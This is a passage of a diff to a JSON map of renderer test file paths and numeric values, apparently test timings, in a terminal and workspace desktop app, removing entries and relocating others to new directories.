-      "src/renderer/src/lib/pane-manager/pane-viewport-present-lifetime.test.ts": 1466,
-      "src/renderer/src/lib/pane-manager/pane-viewport-present-synchronized-output.test.ts": 316,
-      "src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts": 390,
-      "src/renderer/src/lib/pane-manager/terminal-arabic-shaping-joiner.test.ts": 84,
-      "src/renderer/src/lib/pane-manager/terminal-delivery-credit.test.ts": 40,
+      "src/renderer/src/lib/pane-manager/terminal-rendering/terminal-arabic-shaping-joiner.test.ts": 84,
       "src/renderer/src/lib/pane-manager/terminal-foreground-repair-convergence.test.ts": 247,
-      "src/renderer/src/lib/pane-manager/terminal-grid-size-for-box.test.ts": 195,
-      "src/renderer/src/lib/pane-manager/terminal-image-added-repaint.test.ts": 50,
-      "src/renderer/src/lib/pane-manager/terminal-ime-anchor.test.ts": 51,
-      "src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.test.ts": 232,
-      "src/renderer/src/lib/pane-manager/terminal-indic-cluster-ranges.test.ts": 50,
-      "src/renderer/src/lib/pane-manager/terminal-kitty-file-reader.test.ts": 83,
-      "src/renderer/src/lib/pane-manager/terminal-ligatures-addon.test.ts": 59,
-      "src/renderer/src/lib/pane-manager/terminal-linkifier-hover-reset-on-write.test.ts": 59,
-      "src/renderer/src/lib/pane-manager/terminal-mouse-encoding-tracker.test.ts": 95,
+      "src/renderer/src/lib/pane-manager/terminal-rendering/terminal-indic-cluster-ranges.test.ts": 50,
       "src/renderer/src/lib/pane-manager/terminal-mouse-report-finite-coordinates.test.ts": 272,
-      "src/renderer/src/lib/pane-manager/terminal-scroll-intent-anchor.test.ts": 234,
-      "src/renderer/src/lib/pane-manager/terminal-scroll-intent-input-resync.test.ts": 72,
-      "src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts": 118,
-      "src/renderer/src/lib/pane-manager/terminal-stable-cell-fit-addon.test.ts": 198,
-      "src/renderer/src/lib/pane-manager/terminal-structural-replay-coordinator.test.ts": 68,
-      "src/renderer/src/lib/pane-manager/terminal-structural-replay-presentation.test.ts": 360,
-      "src/renderer/src/lib/pane-manager/terminal-webgl-hidden-canvas-release.test.ts": 177,
-      "src/renderer/src/lib/pane-manager/terminal-windows-ctrl-alt-chord-classification.test.ts": 213,
-      "src/renderer/src/lib/pane-manager/terminal-write-pipeline-health.test.ts": 66,
-      "src/renderer/src/lib/pane-manager/windows-pty-compatibility.test.ts": 68,
       "src/renderer/src/lib/pane-manager/xterm-alternate-buffer-resize.test.ts": 89,
-      "src/renderer/src/lib/pane-manager/xterm-instance-disposed.test.ts": 57,
-      "src/renderer/src/lib/pane-manager/xterm-parse-barrier.test.ts": 154,
-      "src/renderer/src/lib/pane-manager/xterm-user-scrolling-contract.test.ts": 1266,
-      "src/renderer/src/components/terminal-pane/session-restore/spawn-deferral/pane-spawn-deferral-drain.test.ts": 61,
       "src/renderer/src/components/terminal-pane/mounting/parked-terminal-host-hydration.test.ts": 274,
       "src/renderer/src/lib/text-input/paste/paste-payload-metadata.test.ts": 53,
       "src/renderer/src/lib/path-display/path-head-elision.test.ts": 53,
       "src/renderer/src/lib/path.test.ts": 55,
-      "src/renderer/src/lib/plugin-command-keybindings.test.ts": 1909,
-      "src/renderer/src/lib/plugin-command-replacements.test.ts": 95,
+      "src/renderer/src/lib/plugins/commands/plugin-command-keybindings.test.ts": 1909,
       "src/renderer/src/lib/plugin-icons/plugin-icon-svg.test.ts": 231,
       "src/renderer/src/lib/editor/appearance/plugin-monaco-token-rules.test.ts": 51,
       "src/renderer/src/lib/source-control/review/pr-bot-author-overrides.test.ts": 349,
       "src/renderer/src/lib/source-control/review/comments/pr-comment-thread-resolution.test.ts": 48,
-      "src/renderer/src/lib/workspace/creation/project-clone-url-prefill.test.ts": 61,
       "src/renderer/src/lib/workspace/creation/project-host-workspace-target.jira-mapping.test.ts": 76,
       "src/renderer/src/lib/workspace/creation/project-host-workspace-target.test.ts": 92,
       "src/renderer/src/lib/editor/file-operations/remap-open-editor-tabs-for-path-change.test.ts": 2178,
-      "src/renderer/src/lib/rename-user-named-tab-access.test.ts": 2804,
       "src/renderer/src/lib/renderer-agent-status-observation-ingress.test.ts": 81,
-      "src/renderer/src/diagnostics/memory/renderer-memory-profile.test.ts": 70,
-      "src/renderer/src/lib/repo-search.test.ts": 54,
-      "src/renderer/src/lib/repo-slug-cache.test.ts": 52,
-      "src/renderer/src/lib/repo-slug-index.test.ts": 2240,
-      "src/renderer/src/lib/resolved-worktree-execution-host.test.ts": 300,
       "src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session-deferred-pane.test.ts": 1747,
       "src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session-direct-ssh-hydration-gap.test.ts": 1654,
       "src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session-execution-host-scope.test.ts": 1924,
@@ -6412,57 +6233,37 @@
       "src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session-slept-pane-recovery.test.ts": 1855,
       "src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session-stranded-sleep.test.ts": 1962,
       "src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session-suppress-navigation.test.ts": 1919,
-      "src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts": 2140,
       "src/renderer/src/lib/resume-stale-structured-agent-session.test.ts": 1774,
-      "src/renderer/src/lib/retracted-host-pane-resume.test.ts": 2009,
       "src/renderer/src/lib/review-owner.test.ts": 238,
-      "src/renderer/src/lib/run-quick-command-in-new-tab.test.ts": 82,
       "src/renderer/src/lib/runtime-host-copy.test.ts": 317,
-      "src/renderer/src/lib/script-textarea-rows.test.ts": 93,
-      "src/renderer/src/lib/session-write-subscriber-acknowledgment.test.ts": 1823,
-      "src/renderer/src/lib/session-write-subscriber.test.ts": 1882,
-      "src/renderer/src/lib/sidebar-ended-creations.test.ts": 1889,
-      "src/renderer/src/lib/sidebar-pending-layer.test.ts": 338,
-      "src/renderer/src/lib/sidebar-shadow/workspace-activity-shadow.test.ts": 1728,
+      "src/renderer/src/components/sidebar/sidebar-feed/sidebar-pending-layer.test.ts": 338,
       "src/renderer/src/lib/simulator/launch/simulator-launch-coordination.test.ts": 43,
       "src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts": 515,
       "src/renderer/src/lib/simulator/tabs/simulator-pane-shutdown-scheduler.test.ts": 1679,
       "src/renderer/src/lib/simulator/tabs/simulator-tab-layout-owner.test.ts": 2398,
       "src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts": 1903,
       "src/renderer/src/lib/source-control/remote/source-control-remote-error.test.ts": 340,
-      "src/renderer/src/lib/ssh-config-passive-sync.test.ts": 1513,
       "src/renderer/src/diagnostics/memory/state-collection-byte-estimate.test.ts": 86,
       "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-draft.test.ts": 1042,
-      "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prerequisites.test.ts": 2427,
-      "src/renderer/src/lib/agent-session/options/structured-agent-session-selection-lifetime.test.tsx": 2947,
-      "src/renderer/src/lib/structured-chat-tab-index.test.ts": 45,
-      "src/renderer/src/lib/structured-session-open-consumers.test.tsx": 2643,
       "src/renderer/src/lib/syntax-highlighting/incremental-syntax-tokenizer.test.ts": 665,
       "src/renderer/src/lib/syntax-highlighting/syntax-highlight-scheduler.test.ts": 149,
       "src/renderer/src/lib/syntax-highlighting/syntax-highlighter.test.ts": 539,
       "src/renderer/src/lib/syntax-highlighting/textmate-core.test.ts": 60,
-      "src/renderer/src/lib/tab-agent-status-index.test.ts": 210,
       "src/renderer/src/lib/task-provider-error-copy.test.ts": 363,
       "src/renderer/src/app-shell/appearance/terminal-app-theme.test.ts": 301,
-      "src/renderer/src/lib/terminal-input-activity-coalescing.test.ts": 43,
       "src/renderer/src/lib/text-input/paste/text-control-paste-ownership.test.ts": 217,
       "src/renderer/src/lib/text-input/paste/text-control-paste.test.ts": 222,
       "src/renderer/src/lib/text-generation-error-copy.test.ts": 466,
-      "src/renderer/src/lib/typing-latency/echo-instrumentation.test.ts": 145,
-      "src/renderer/src/lib/typing-latency/renderer-long-tasks.test.ts": 75,
-      "src/renderer/src/lib/typing-latency/sample-window.test.ts": 77,
-      "src/renderer/src/lib/unread-badge-count-selector.test.ts": 1930,
-      "src/renderer/src/lib/use-tab-agent-observed-signal-dispatch.test.tsx": 1971,
-      "src/renderer/src/lib/use-tab-agent-opencode-native-title.test.ts": 2093,
-      "src/renderer/src/lib/use-tab-agent.test.ts": 1961,
-      "src/renderer/src/lib/wake-sleeping-agents-live-unmounted-pane.test.ts": 2432,
+      "src/renderer/src/diagnostics/typing-latency/echo-instrumentation.test.ts": 145,
+      "src/renderer/src/diagnostics/typing-latency/renderer-long-tasks.test.ts": 75,
+      "src/renderer/src/attention/unread/unread-badge-count-selector.test.ts": 1930,
+      "src/renderer/src/lib/agent-session/tab-identity/use-tab-agent-observed-signal-dispatch.test.tsx": 1971,
+      "src/renderer/src/lib/agent-session/tab-identity/use-tab-agent.test.ts": 1961,
       "src/renderer/src/runtime/hosts/capabilities/windows-terminal-capabilities-race.test.ts": 450,
       "src/renderer/src/lib/workspace/activation/workspace-activation-path-gate.test.ts": 2107,
       "src/renderer/src/lib/browser/workspace/workspace-browser-tab-open-placement.test.ts": 1996,
       "src/renderer/src/lib/workspace-ports/workspace-port-scan-debounce.test.ts": 57,
-      "src/renderer/src/lib/workspace/persistence/workspace-session-host-contention.test.ts": 265,
       "src/renderer/src/lib/workspace/persistence/workspace-session-host-emptied-fields.test.ts": 279,
-      "src/renderer/src/lib/workspace/persistence/workspace-session-host-persistence.test.ts": 313,
       "src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-ownership.test.ts": 309,
       "src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-round-trip.test.ts": 1775,
       "src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.store.test.ts": 1994,
@@ -6474,23 +6275,18 @@
       "src/renderer/src/lib/workspace/activation/worktree-activation-structured-chat-surface.test.ts": 2043,
       "src/renderer/src/lib/workspace/activation/worktree-activation-web-runtime.test.ts": 2768,
       "src/renderer/src/lib/workspace/activation/worktree-agent-activation-seam.test.ts": 3440,
-      "src/renderer/src/lib/workspace/creation/worktree-creation-backend-startup-focus.test.ts": 2267,
       "src/renderer/src/lib/workspace/creation/worktree-creation-initial-surface.test.ts": 5258,
-      "src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-lifecycle.test.ts": 2633,
       "src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-prompts.test.tsx": 4554,
       "src/renderer/src/lib/workspace/ownership/worktree-live-terminal-surface-owners.test.ts": 266,
       "src/renderer/src/lib/workspace/ownership/worktree-operation-route-index.test.ts": 262,
       "src/renderer/src/lib/workspace/ownership/worktree-operation-route.test.ts": 342,
       "src/renderer/src/lib/workspace/search/worktrees/worktree-palette-comment-snippet.test.ts": 53,
       "src/renderer/src/lib/workspace/search/worktrees/worktree-palette-titleless-review.test.ts": 198,
-      "src/renderer/src/lib/workspace/search/worktrees/worktree-palette-search.test.ts": 206,
       "src/renderer/src/lib/workspace/search/worktrees/worktree-palette-task-url-match.test.ts": 165,
       "src/renderer/src/lib/workspace/activation/worktree-reactivation-preserved-pane-replacement.test.ts": 2268,
       "src/renderer/src/lib/workspace/activation/worktree-reactivation-tab-forkbomb.test.ts": 4131,
       "src/renderer/src/lib/workspace/ownership/worktree-runtime-owner-index.detected.test.ts": 121,
       "src/renderer/src/lib/workspace/ownership/worktree-runtime-owner.test.ts": 380,
-      "src/renderer/src/lib/worktree-status-spinner-launch-agent.test.ts": 271,
-      "src/renderer/src/lib/worktree-status.test.ts": 306,
       "src/renderer/src/lib/workspace/persistence/wsl-move-renderer-store-rewrites.test.ts": 1072,
       "src/renderer/src/runtime/rpc/calls/abortable-runtime-environment-call.test.ts": 189,
       "src/renderer/src/runtime/provider-accounts/observations/claude-agent-view-observations.test.ts": 105,
@@ -6505,20 +6301,15 @@
       "src/renderer/src/runtime/workspace-layout/frames/layout-changes-during-stream-outage.test.ts": 1948,
       "src/renderer/src/runtime/workspace-layout/commands/layout-owner-command.test.ts": 549,
       "src/renderer/src/runtime/native-chat/naming/legacy-chat-rename-migration.test.tsx": 3834,
-      "src/renderer/src/runtime/local-structured-session-tabs-sync/local-structured-session-tabs-sync.test.ts": 2643,
       "src/renderer/src/runtime/web-session-tabs-sync/agent-status/mirrored-agent-status-clock-skew.test.ts": 1839,
-      "src/renderer/src/runtime/web-session-tabs-sync/agent-status/paired-reconnect-sidebar-agent-count.test.ts": 1905,
       "src/renderer/src/runtime/web-session-tabs-sync/closing/paired-terminal-tab-close-environment-removal.test.ts": 1897,
       "src/renderer/src/runtime/web-session-tabs-sync/closing/paired-terminal-tab-close-reload.test.ts": 1943,
       "src/renderer/src/runtime/workspace-layout/frames/pane-titles-drawn-from-frames.test.ts": 1988,
-      "src/renderer/src/runtime/web-session-tabs-sync/agent-status/remote-agent-row-last-assistant-message.test.ts": 1776,
-      "src/renderer/src/runtime/files/mutations/remote-host-file-delete-repro.test.ts": 1890,
       "src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts": 55,
       "src/renderer/src/runtime/hosted-terminals/snapshots/remote-runtime-snapshot-outcome.test.ts": 233,
       "src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-frame-drop-resync.test.ts": 266,
       "src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-paused-output-drop.test.ts": 248,
       "src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stale-stream-frames.test.ts": 234,
-      "src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts": 826,
       "src/renderer/src/runtime/hosts/updates/remote-server-restart-wait.test.ts": 49,
       "src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts": 64,
       "src/renderer/src/runtime/files/reads/runtime-directory-page-client.test.ts": 268,
@@ -6544,17 +6335,13 @@
       "src/renderer/src/runtime/workspace-layout/server/server-layout-apply.test.ts": 2222,
       "src/renderer/src/runtime/workspace-layout/server/server-layout-editor-handover.test.ts": 5075,
       "src/renderer/src/runtime/workspace-layout/server/server-layout-frames-handover.test.ts": 1991,
-      "src/renderer/src/runtime/workspace-layout/server/server-layout-frames-held-tabs.test.ts": 2302,
       "src/renderer/src/runtime/workspace-layout/server/server-layout-frames.test.ts": 2053,
       "src/renderer/src/runtime/native-chat/status/structured-agent-session-status-feed-lifecycle.test.ts": 62,
       "src/renderer/src/runtime/native-chat/status/structured-agent-session-status-feed.test.ts": 82,
-      "src/renderer/src/runtime/native-chat/status/structured-agent-session-turn-completion-feed.test.ts": 118,
       "src/renderer/src/runtime/native-chat/host-capabilities/structured-chat-host-permission.test.ts": 523,
       "src/renderer/src/runtime/web-session-tabs-sync/placement/structured-conversation-tab-replacement.test.ts": 2029,
-      "src/renderer/src/runtime/native-chat/tab-retirement/structured-launch-cancel-layout-owner.test.ts": 1985,
       "src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-chat-tab-order.test.ts": 529,
       "src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-conversion-publish.test.ts": 1608,
-      "src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts": 526,
       "src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-parked-leaf.test.ts": 641,
       "src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-payload-partition.test.ts": 583,
       "src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-publication-cost.test.ts": 549,
@@ -6563,28 +6350,21 @@
       "src/renderer/src/runtime/sync-runtime-graph/terminal-group-grid-sizes.test.ts": 194,
       "src/renderer/src/runtime/browser/creation/web-runtime-browser-creation-placement.test.ts": 1927,
       "src/renderer/src/runtime/browser/creation/web-runtime-browser-link-open.test.ts": 2217,
-      "src/renderer/src/runtime/browser/creation/web-runtime-browser-link-session.test.ts": 1964,
       "src/renderer/src/runtime/web-session-tabs-sync/closing/web-session-close-replay.test.ts": 1119,
-      "src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-open-files-batch-equivalence.test.ts": 1478,
       "src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-restored-placeholder-identity.test.ts": 985,
       "src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-agent-completion-notifications.test.ts": 1953,
       "src/renderer/src/runtime/web-session-tabs-sync/tracking/web-session-tabs-removed-frame-retires-live-publisher.test.ts": 854,
       "src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-stream-end-resubscribe.test.tsx": 2282,
-      "src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-agent-status.test.ts": 987,
-      "src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-browser-tabs.test.ts": 925,
       "src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-cross-runtime-worktree.test.ts": 964,
       "src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-editor-ownership.test.ts": 1902,
       "src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-editor-tabs.test.ts": 1073,
       "src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts": 892,
       "src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-host-tab-retraction-ghost-rows.test.ts": 1956,
-      "src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-initial-terminal-relaunch.test.tsx": 2248,
       "src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-mirror-identity.test.ts": 2524,
       "src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-mirrored-draft-close.test.ts": 1833,
       "src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-remote-status-title-flap.test.ts": 1715,
-      "src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-sleep-activity.test.ts": 1010,
       "src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-stale-spinner.test.ts": 921,
       "src/renderer/src/runtime/web-session-tabs-sync/tracking/web-session-tabs-sync-tracking-teardown.test.ts": 940,
-      "src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-unverifiable-host.test.tsx": 2424,
       "src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-visibility-collision.test.tsx": 2699,
       "src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-window-visibility.test.tsx": 2589,
       "src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-worktree-switch.test.tsx": 2625,
@@ -6592,7 +6372,6 @@
       "src/renderer/src/runtime/web-session-tabs-sync/frame-drawn-server-workspaces.test.ts": 956,
       "src/renderer/src/runtime/hosted-terminals/recovery/inventory/web-session-terminal-orphan-absence-across-republication.test.ts": 678,
       "src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts": 923,
-      "src/renderer/src/runtime/hosted-terminals/recovery/adoption/web-session-terminal-orphan-recovery-adoption-regressions.test.ts": 1214,
       "src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-regressions.test.ts": 1029,
       "src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-sleep.test.ts": 1066,
       "src/renderer/src/runtime/hosted-terminals/recovery/surfaces/web-session-terminal-orphan-recovery-topology-fence.test.ts": 868,
@@ -6601,10 +6380,8 @@
       "src/renderer/src/runtime/hosted-terminals/recovery/evidence/web-session-terminal-retirement-proof-ledger.test.ts": 685,
       "src/renderer/src/runtime/rpc/subscriptions/window-visibility-subscription-parking-stream-end.test.ts": 225,
       "src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-binding.test.ts": 2155,
-      "src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-editor-views.test.ts": 2098,
       "src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-held-tabs.test.ts": 2519,
       "src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-sync.test.ts": 2282,
-      "src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-tab-props.test.ts": 2852,
       "src/renderer/src/ssh/node-dist-mirror-recovery.test.ts": 1770,
       "src/renderer/src/ssh/ssh-connect-in-flight.test.ts": 62,
       "src/renderer/src/startup/startup-degraded-recovery.test.ts": 574,
@@ -6616,8 +6393,6 @@
       "src/renderer/src/store/github/requests/provider-request-coalescing.test.ts": 969,
       "src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-scheduler.test.ts": 97,
       "src/renderer/src/store/github/repositories/wsl-stopped-distro-poll-refusal.test.ts": 696,
-      "src/renderer/src/store/workspaces/host-isolation/host-twin-isolation.test.ts": 1889,
-      "src/renderer/src/store/workspaces/host-isolation/host-twin-worktree-purge.test.ts": 1945,
       "src/renderer/src/store/plugins/localization/plugin-language-packs-startup.test.ts": 435,
       "src/renderer/src/store/plugins/localization/plugin-language-packs.test.ts": 377,
       "src/renderer/src/store/plugins/catalog/plugin-panel-retry-timer-cleanup.test.ts": 5216,
@@ -6653,18 +6428,15 @@
       "src/renderer/src/store/slices/agent-status/agent-status-worktree-purge-leak.test.ts": 1744,
       "src/renderer/src/store/slices/agent-status/agent-status.test.ts": 2129,
       "src/renderer/src/store/repos/all-host-catalog-settlement.test.ts": 1955,
-      "src/renderer/src/store/slices/worktrees/teardown/ambiguous-owner-warning-worktree-removal-leak.test.ts": 2101,
       "src/renderer/src/store/slices/browser/annotations/browser-annotation-retention.test.ts": 8178,
       "src/renderer/src/store/slices/browser/cleanup/browser-cleanup-close.test.ts": 1911,
       "src/renderer/src/store/slices/browser/cleanup/browser-mount-admission-removal.test.ts": 1982,
       "src/renderer/src/store/slices/browser/pages/browser-page-conversion.test.ts": 1777,
-      "src/renderer/src/store/slices/browser/hosts/browser-remote-tab-creation.test.ts": 2119,
       "src/renderer/src/store/slices/browser/hosts/browser-session-host-selection.test.ts": 988,
       "src/renderer/src/store/slices/browser/profiles/browser-session-profiles.test.ts": 792,
       "src/renderer/src/store/slices/browser/tabs/browser-tab-creation-placement.test.ts": 1886,
       "src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts": 2007,
       "src/renderer/src/store/slices/browser/browser.test.ts": 2001,
-      "src/renderer/src/store/slices/worktrees/teardown/bulk-worktree-purge-terminal-maps-leak.test.ts": 1727,
       "src/renderer/src/store/terminals/codex-restart-notice-lifecycle.test.ts": 1685,
       "src/renderer/src/store/slices/tabs/content-tabs-from-main-frames.test.ts": 2025,
       "src/renderer/src/store/slices/tabs/content-tabs-paired-server-workspace.test.ts": 1923,
@@ -6674,12 +6446,9 @@
       "src/renderer/src/store/slices/diff-comments/diffComments.test.ts": 1896,
       "src/renderer/src/store/slices/editor/git/editor-branch-line-total.test.ts": 892,
       "src/renderer/src/store/slices/editor/checks/editor-check-details-reading.test.ts": 945,
-      "src/renderer/src/store/slices/editor/checks/editor-check-details-reconstructed-owner.test.ts": 2056,
       "src/renderer/src/store/slices/editor/checks/editor-check-details-tab-owner.test.ts": 1103,
-      "src/renderer/src/store/slices/editor/checks/editor-check-details-tabs.test.ts": 1814,
       "src/renderer/src/store/slices/editor/closing/editor-close-background-file.test.ts": 893,
       "src/renderer/src/store/slices/editor/closing/editor-close-document-siblings.test.ts": 1317,
-      "src/renderer/src/store/slices/editor/closing/editor-close-file-cleanup.test.ts": 2000,
       "src/renderer/src/store/slices/editor/closing/editor-close-file-stale-active.test.ts": 1806,
       "src/renderer/src/store/slices/editor/closing/editor-close-pinned-sibling.test.ts": 924,
       "src/renderer/src/store/slices/editor/closing/editor-close-workspace-selection.test.ts": 1850,
@@ -6687,16 +6456,13 @@
       "src/renderer/src/store/slices/editor/git/editor-git-status-reconciliation.test.ts": 870,
       "src/renderer/src/store/slices/editor/tabs/editor-layout-owner-records.test.ts": 2006,
       "src/renderer/src/store/slices/editor/markdown/editor-markdown-link-activation.test.ts": 953,
-      "src/renderer/src/store/slices/editor/git/editor-open-diff.test.ts": 1987,
       "src/renderer/src/store/slices/editor/tabs/editor-open-link-placement.test.ts": 1987,
       "src/renderer/src/store/slices/editor/tabs/editor-preview-tab-setting.test.ts": 1952,
       "src/renderer/src/store/slices/editor/opening/editor-read-only-tabs.test.ts": 901,
       "src/renderer/src/store/slices/editor/closing/editor-recently-closed-tabs.test.ts": 1948,
       "src/renderer/src/store/slices/editor/git/editor-remote-branch-actions.test.ts": 935,
-      "src/renderer/src/store/slices/editor/hydration/editor-session-duplicate-restore.test.ts": 1931,
       "src/renderer/src/store/slices/editor/focus/editor-set-active-file-guard.test.ts": 895,
       "src/renderer/src/store/slices/editor/tabs/editor-tab-layout-owner.test.ts": 1883,
-      "src/renderer/src/store/slices/editor/tabs/editor-tab-placement.test.ts": 1837,
       "src/renderer/src/store/slices/editor/tabs/editor-tab-shared-project-owner.test.ts": 954,
       "src/renderer/src/store/slices/editor/buffers/editor-buffer-reconcile-identity.test.ts": 1775,
       "src/renderer/src/store/slices/editor/buffers/editor-buffer-reconcile-joins.test.ts": 1766,
@@ -6711,15 +6477,12 @@
       "src/renderer/src/store/github/pull-requests/github-linked-review-clear-ownership.test.ts": 891,
       "src/renderer/src/store/slices/editor/git/github-post-operation-owner.test.ts": 2062,
       "src/renderer/src/store/github/pull-requests/github-pr-branch-direct-refresh-scope.test.ts": 667,
-      "src/renderer/src/store/github/pull-requests/github-pr-branch-fallback-results.test.ts": 658,
       "src/renderer/src/store/github/pull-requests/github-pr-branch-linked-pr-divergence.test.ts": 662,
       "src/renderer/src/store/github/comments/github-pr-comment-read-order.test.ts": 570,
       "src/renderer/src/store/github/comments/github-pr-comments.test.ts": 746,
-      "src/renderer/src/store/github/pull-requests/github-pr-host-scope.test.ts": 1030,
       "src/renderer/src/store/github/refresh/github-pr-manual-refresh-broadcast.test.ts": 693,
       "src/renderer/src/store/github/refresh/github-pr-refresh-states-leak.test.ts": 1327,
       "src/renderer/src/store/github/pull-requests/github-pr-request-lifetime.test.ts": 1458,
-      "src/renderer/src/store/github/projects/github-project-view-tables.test.ts": 656,
       "src/renderer/src/store/github/repositories/github-repo-lookup-index.test.ts": 51,
       "src/renderer/src/store/github/review-threads/github-review-thread-rollback.test.ts": 663,
       "src/renderer/src/store/github/task-records/github-task-record-retries.test.ts": 758,
@@ -6738,17 +6501,14 @@
       "src/renderer/src/store/slices/worktrees/teardown/native-chat-launch-draft-teardown.test.ts": 1854,
       "src/renderer/src/store/slices/orca-profiles/orca-profiles-auth-actions-connect-overlap.test.ts": 1685,
       "src/renderer/src/store/slices/tabs/pinned-tab-close-confirm.test.ts": 44,
-      "src/renderer/src/store/slices/preflight/preflight.test.ts": 1858,
       "src/renderer/src/store/repos/project-removal-host-twin-state.test.ts": 1972,
       "src/renderer/src/store/repos/project-removal-owner-host.test.ts": 1880,
       "src/renderer/src/store/repos/project-removal-runtime-terminal-order.test.ts": 1769,
       "src/renderer/src/store/repos/project-removal-unreachable-server.test.ts": 2292,
       "src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-ownership.test.ts": 1767,
-      "src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-state.test.ts": 1719,
       "src/renderer/src/store/slices/worktrees/teardown/removed-worktree-diff-memory.test.ts": 2981,
       "src/renderer/src/store/repos/repos-add-races.test.ts": 1731,
       "src/renderer/src/store/repos/repos-all-hosts-generation.test.ts": 1908,
-      "src/renderer/src/store/repos/repos-all-hosts.test.ts": 1971,
       "src/renderer/src/store/repos/repos-catalog-connection-fence.test.ts": 1821,
       "src/renderer/src/store/repos/repos-catalog-request-coordination.test.ts": 1602,
       "src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts": 2459,
@@ -6777,23 +6537,14 @@
       "src/renderer/src/store/slices/runtime-status/set-runtime-environments-purge-wiring.test.ts": 1683,
       "src/renderer/src/store/slices/settings/settings-owner-hydration-write-fence.test.ts": 1860,
       "src/renderer/src/store/slices/settings/settings-terminal-quick-commands.test.ts": 1734,
-      "src/renderer/src/store/slices/settings/settings.test.ts": 1938,
       "src/renderer/src/store/slices/worktrees/create/sparse-presets.test.ts": 217,
-      "src/renderer/src/store/slices/ssh/ssh.test.ts": 1843,
       "src/renderer/src/lib/workspace/activation/active-worktree-removal-successor.test.ts": 1867,
-      "src/renderer/src/store/slices/worktrees/session/store-active-worktree-selection.test.ts": 2039,
       "src/renderer/src/store/terminals/store-create-tab-start-in-main.test.ts": 1801,
       "src/renderer/src/store/slices/tabs/store-open-to-side-layout-owner.test.ts": 1919,
-      "src/renderer/src/store/slices/browser/hydration/store-session-browser-hydration.test.ts": 1906,
       "src/renderer/src/store/repos/store-session-cascades.test.ts": 1775,
-      "src/renderer/src/store/slices/editor/hydration/store-session-editor-hydration.test.ts": 1719,
-      "src/renderer/src/store/terminals/store-session-terminal-reconnect.test.ts": 2279,
-      "src/renderer/src/store/terminals/store-session-workspace-hydration.test.ts": 1733,
-      "src/renderer/src/store/terminals/store-sleep-agent-status-retention.test.ts": 7641,
       "src/renderer/src/store/terminals/store-sleep-exact-runtime-stop.test.ts": 1842,
       "src/renderer/src/store/terminals/store-sleep-pane-hibernation.test.ts": 1932,
       "src/renderer/src/store/terminals/store-sleep-runtime-convergence.test.ts": 1767,
-      "src/renderer/src/store/terminals/store-sleep-twin-host-owner.test.ts": 1706,
